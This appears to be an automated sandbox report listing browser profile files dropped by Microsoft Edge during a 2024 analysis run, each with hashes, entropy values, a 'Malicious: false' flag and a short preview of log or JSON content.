Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.135838816849537
Encrypted:	false
SSDEEP:	6:6Bt0OmF39+q2P923oH+Tcwt8aPrqIFUt8vBtz3JZmw+vBtz39VkwO923oH+Tcwtc:6Bt7yN+v4YebL3FUt8vBtN/+vBtRV5LE
MD5:	54A8A9319C088FF5E171780D015D76AE
SHA1:	CD913B5660645850257A3F73129A6FB6EB84DB1F
SHA-256:	27822025CA94172E72BFFD302A513C28A1E8AC448B5F005795C813633B62CCA3
SHA-512:	97F0A97E3924DB36949C02EFC8E85A82CF9B9AE31F3EDA48422DE464E5BFCA60B11F92783DC7B45E9CA8571784FC13BA97B841354A446428B32E4FABE58F6D5D
Malicious:	false
Preview:	2024/10/30-13:06:33.337 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-13:06:33.390 1dbc Recovering log #3.2024/10/30-13:06:33.390 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.135838816849537
Encrypted:	false
SSDEEP:	6:6Bt0OmF39+q2P923oH+Tcwt8aPrqIFUt8vBtz3JZmw+vBtz39VkwO923oH+Tcwtc:6Bt7yN+v4YebL3FUt8vBtN/+vBtRV5LE
MD5:	54A8A9319C088FF5E171780D015D76AE
SHA1:	CD913B5660645850257A3F73129A6FB6EB84DB1F
SHA-256:	27822025CA94172E72BFFD302A513C28A1E8AC448B5F005795C813633B62CCA3
SHA-512:	97F0A97E3924DB36949C02EFC8E85A82CF9B9AE31F3EDA48422DE464E5BFCA60B11F92783DC7B45E9CA8571784FC13BA97B841354A446428B32E4FABE58F6D5D
Malicious:	false
Preview:	2024/10/30-13:06:33.337 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-13:06:33.390 1dbc Recovering log #3.2024/10/30-13:06:33.390 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.125347363412374
Encrypted:	false
SSDEEP:	6:6BtRVx39+q2P923oH+Tcwt865IFUt8vBtRVQNJZmw+vBtRVck9VkwO923oH+Tcwx:6BtP+v4Yeb/WFUt8vBtEX/+vBtYCV5Lr
MD5:	C57804837C0B49A85F7AD0CD8ABD41A0
SHA1:	A48520BC6C6A0F2EB5EABFE33A51040323998375
SHA-256:	97A960537671329963D64A2300AD99CBB396BD618DFEB0FE59279120C292794C
SHA-512:	E7306446B54EC3DD46ED868B39A4A840563E1E5E2CA121E1BBFCA6CEB32D40B77E4D5BD503288F8695DF882A03B18E7B44EC8E0BACFBB16FCA8CA807C6759C79
Malicious:	false
Preview:	2024/10/30-13:06:33.402 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-13:06:33.403 1dbc Recovering log #3.2024/10/30-13:06:33.404 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.125347363412374
Encrypted:	false
SSDEEP:	6:6BtRVx39+q2P923oH+Tcwt865IFUt8vBtRVQNJZmw+vBtRVck9VkwO923oH+Tcwx:6BtP+v4Yeb/WFUt8vBtEX/+vBtYCV5Lr
MD5:	C57804837C0B49A85F7AD0CD8ABD41A0
SHA1:	A48520BC6C6A0F2EB5EABFE33A51040323998375
SHA-256:	97A960537671329963D64A2300AD99CBB396BD618DFEB0FE59279120C292794C
SHA-512:	E7306446B54EC3DD46ED868B39A4A840563E1E5E2CA121E1BBFCA6CEB32D40B77E4D5BD503288F8695DF882A03B18E7B44EC8E0BACFBB16FCA8CA807C6759C79
Malicious:	false
Preview:	2024/10/30-13:06:33.402 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-13:06:33.403 1dbc Recovering log #3.2024/10/30-13:06:33.404 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137071891192896
Encrypted:	false
SSDEEP:	6:6BU70dSQL+q2P923oH+Tcwt8NIFUt8vBU0nG1Zmw+vBU0nQLVkwO923oH+Tcwt8n:6BU70dOv4YebpFUt8vBUb1/+vBUL5LYN
MD5:	C191CF5CD3B79DE5DD1D34CAD0BF2997
SHA1:	92B09F904EDBD202FCFD4D60AD0ABFE8FF649AAA
SHA-256:	529C663D8BB688943CBD803CCC488E5D50F98C8DBA14814A1FCF3F8344A25C42
SHA-512:	ED793B15BB50ECE31242138A8212909220F88348339EB92A1A6BB8CBD2F2306DF84F3731014005BC17AD84D16EDED4E7CE8C8E7A5733A573FB38CC41D5140815
Malicious:	false
Preview:	2024/10/30-13:06:34.063 1478 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-13:06:34.064 1478 Recovering log #3.2024/10/30-13:06:34.064 1478 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137071891192896
Encrypted:	false
SSDEEP:	6:6BU70dSQL+q2P923oH+Tcwt8NIFUt8vBU0nG1Zmw+vBU0nQLVkwO923oH+Tcwt8n:6BU70dOv4YebpFUt8vBUb1/+vBUL5LYN
MD5:	C191CF5CD3B79DE5DD1D34CAD0BF2997
SHA1:	92B09F904EDBD202FCFD4D60AD0ABFE8FF649AAA
SHA-256:	529C663D8BB688943CBD803CCC488E5D50F98C8DBA14814A1FCF3F8344A25C42
SHA-512:	ED793B15BB50ECE31242138A8212909220F88348339EB92A1A6BB8CBD2F2306DF84F3731014005BC17AD84D16EDED4E7CE8C8E7A5733A573FB38CC41D5140815
Malicious:	false
Preview:	2024/10/30-13:06:34.063 1478 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-13:06:34.064 1478 Recovering log #3.2024/10/30-13:06:34.064 1478 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21760073165385718
Encrypted:	false
SSDEEP:	3:ntFlljq7A/mhWJFuQ3yy7IOWUplludweytllrE9SFcTp4AGbNCV9RUId8:s75fOhQd0Xi99pEYc
MD5:	F9FDAE21EA1B83046D7E3981F220D45D
SHA1:	F729314813791B7296AB45CAD39B1F7E19CFD222
SHA-256:	365A71032D7AAEB4246F3D8EEF71311CC2EE444CA0293BB1D3A4E9527030B4FE
SHA-512:	14AD92228BAAAC6A5FCC1EA71D48D55721EEC7A4C1D35DC7AD1987A925399B75965E1BE1BF6926318F5F537892E571F745A5CFDE57A2A1D227F926B42CE66FC6
Malicious:	false
Preview:	.............E.Y...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918414601255008
Encrypted:	false
SSDEEP:	384:jj9P0PQkQerkjly773pLDcIgam6IkP/Kbt/RKToaADhf:jdUe2mly7O/UP/iRKc39
MD5:	5AB92321902A0ABFA27D09411BAC43DB
SHA1:	26F9287A309CEC9D52CF6BA78E1EC8A2CAC71DB6
SHA-256:	EE4D9D5BBE4C844F47CCFE3909E15AE2FC4FAC945DC279969F93CF94ACA58C95
SHA-512:	971AFC8CD4F487D0FA8C4B0318C4443192B6FFE7EE2E51B204F3D66A6212746436DDCD00B22F116741EED02FFF4D99BD1D349B37C8F70687E791DE9E1CAF2E80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.222812623325698
Encrypted:	false
SSDEEP:	12:6Bx+L+v4Yeb8rcHEZrELFUt8vBxJ/+vBx1LV5LYeb8rcHEZrEZSJ:ox+Y4Yeb8nZrExg8JxSx1DLYeb8nZrE8
MD5:	CE6CBEE8C176EAD41ACCE1AE18AF9137
SHA1:	9911E41303441776FE752C3596ADD6A00B431928
SHA-256:	F069BAFF41E7D7B44E0025F286039945A006ACB61BAAF8CA4319AB61C6C25AB7
SHA-512:	A344EA5AED7DEC5B6E22E48CF7B9A6DB8D38CC8E26A26BEF1599B091A5BA7F1D256DFB33B6FA5051E47D19C5B8026839B9CBC812DB088ADA249B29BBE763B883
Malicious:	false
Preview:	2024/10/30-13:06:38.630 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-13:06:38.631 161c Recovering log #3.2024/10/30-13:06:38.631 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.222812623325698
Encrypted:	false
SSDEEP:	12:6Bx+L+v4Yeb8rcHEZrELFUt8vBxJ/+vBx1LV5LYeb8rcHEZrEZSJ:ox+Y4Yeb8nZrExg8JxSx1DLYeb8nZrE8
MD5:	CE6CBEE8C176EAD41ACCE1AE18AF9137
SHA1:	9911E41303441776FE752C3596ADD6A00B431928
SHA-256:	F069BAFF41E7D7B44E0025F286039945A006ACB61BAAF8CA4319AB61C6C25AB7
SHA-512:	A344EA5AED7DEC5B6E22E48CF7B9A6DB8D38CC8E26A26BEF1599B091A5BA7F1D256DFB33B6FA5051E47D19C5B8026839B9CBC812DB088ADA249B29BBE763B883
Malicious:	false
Preview:	2024/10/30-13:06:38.630 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-13:06:38.631 161c Recovering log #3.2024/10/30-13:06:38.631 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1659
Entropy (8bit):	5.680460093835035
Encrypted:	false
SSDEEP:	48:YZ7H5vzXZzQV03Sx45U2ztDWfDgGHHHxda2LoEJ:Yl5vrRmkZSRxLn
MD5:	69A23FF1A8EA3FC67876B0B578B03C64
SHA1:	6A37459643B7F82AA28A5F029324EE3517D95495
SHA-256:	EB0B15B5B105AAEE106289C919640DBAC9A996A6E1A758614928317CB5F93DD2
SHA-512:	4C74A087D4F8A6D89164A2495B38FAA0E0FC0D5F89B2E3E11C93328DEE16B73E308C0188401A3FF5911FE6B968938CD7F6012414E62A32E34064FB8758270A22
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1730308001950.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730308003397.._https://ntp.msn.com..MUID!.3A3C51D39FB2654125F844FB9EBA64FA.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730308002045,"schedule":[35,-1,-1,26,-1,28,-1],"scheduleFixed":[35,-1,-1,26,-1,28,-1],"simpleSchedule":[29,50,35,48,34,19,31]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730308001915.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241029.290"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Oct 30 2024 13:06:42 GMT-0400 (Eastern Daylig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.132280501337393
Encrypted:	false
SSDEEP:	6:6Btnfq2P923oH+Tcwt8a2jMGIFUt8vBtfZmw+vBtb7kwO923oH+Tcwt8a2jMmLJ:6Btnfv4Yeb8EFUt8vBtf/+vBtb75LYek
MD5:	11C20ADE2AB793E076DF40DC97FCA8A0
SHA1:	73B81B05C12A7F1566E9255A63ECC66188838137
SHA-256:	58A4108ABE0BEF14D8F0B5F6D37AE4633996AE15F0ADB237F3850F91780947F3
SHA-512:	E88426673926BFF54E20E8ADF9761F7C31E8A55EC61BC1C21D7F717FCC0EE20CCF96A08CB934AA4B58653A9FA019CC8436916C6943841D374FF96A0F9928976F
Malicious:	false
Preview:	2024/10/30-13:06:33.571 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-13:06:33.572 1830 Recovering log #3.2024/10/30-13:06:33.581 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.132280501337393
Encrypted:	false
SSDEEP:	6:6Btnfq2P923oH+Tcwt8a2jMGIFUt8vBtfZmw+vBtb7kwO923oH+Tcwt8a2jMmLJ:6Btnfv4Yeb8EFUt8vBtf/+vBtb75LYek
MD5:	11C20ADE2AB793E076DF40DC97FCA8A0
SHA1:	73B81B05C12A7F1566E9255A63ECC66188838137
SHA-256:	58A4108ABE0BEF14D8F0B5F6D37AE4633996AE15F0ADB237F3850F91780947F3
SHA-512:	E88426673926BFF54E20E8ADF9761F7C31E8A55EC61BC1C21D7F717FCC0EE20CCF96A08CB934AA4B58653A9FA019CC8436916C6943841D374FF96A0F9928976F
Malicious:	false
Preview:	2024/10/30-13:06:33.571 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-13:06:33.572 1830 Recovering log #3.2024/10/30-13:06:33.581 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\097b631c-c9ec-4154-a57a-8b8da3ab0600.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a4f9bd7-f220-4a82-aae6-926eed6a9a2e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\64c3b6c5-7f46-49f5-a5c2-c7c9a73b0406.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\882e749e-97be-4b53-aa2d-09dccc45d855.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0019912103355444
Encrypted:	false
SSDEEP:	192:tTxOvPVohuKarYOdfUdcA78QuyZmLE35lmUYO0B/zbl0b:VxOv9KasOxecAo/Kma0B7bl0b
MD5:	D33269816DB6B8E829E689F1C8F9CA11
SHA1:	2A115B12ABE1E3B0F81A8D83A40AC34A9FD298E8
SHA-256:	330711C91CD578123BB3580A08366796EF41C4B35B124F50D11D4977054B45DB
SHA-512:	A3C5838C3AC3E01BE154581F701BA3593924BD47D71460FCA5D68EDF7096BE8BFB091351CF417047C26916A9D51ED87D3B86E9F61D18C680E045A217E626F503
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4ac88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
